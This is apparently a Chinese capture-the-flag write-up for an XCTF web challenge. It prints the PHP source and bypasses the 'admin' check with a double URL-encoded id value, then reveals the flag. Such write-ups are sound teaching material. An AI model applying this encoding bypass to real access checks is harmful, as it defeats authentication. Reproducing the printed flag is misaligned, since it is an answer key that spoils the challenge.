
题目链接:https://adworld.xctf.org.cn/task/task_list?type=web&number=3&grade=1&page=1

index.php

输入地址
http://111.200.241.244:55773/index.phps得到
<?php
if("admin"===$_GET[id]) {
echo("not allowed!");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
echo "Access granted!";
echo "Key: xxxxxxx ";
}
?>
Can you anthenticate to this website?代码审计,可以看出,get接受id=admin

查看不被允许
进行admin二次编码:%2561%2564%256d%2569%256e 这是url二次编码
http://111.200.241.244:55773/index.php?id=%2561%2564%256d%2569%256e
得到flag:cyberpeace{67cbbc9953933686d0d29409017fa15c}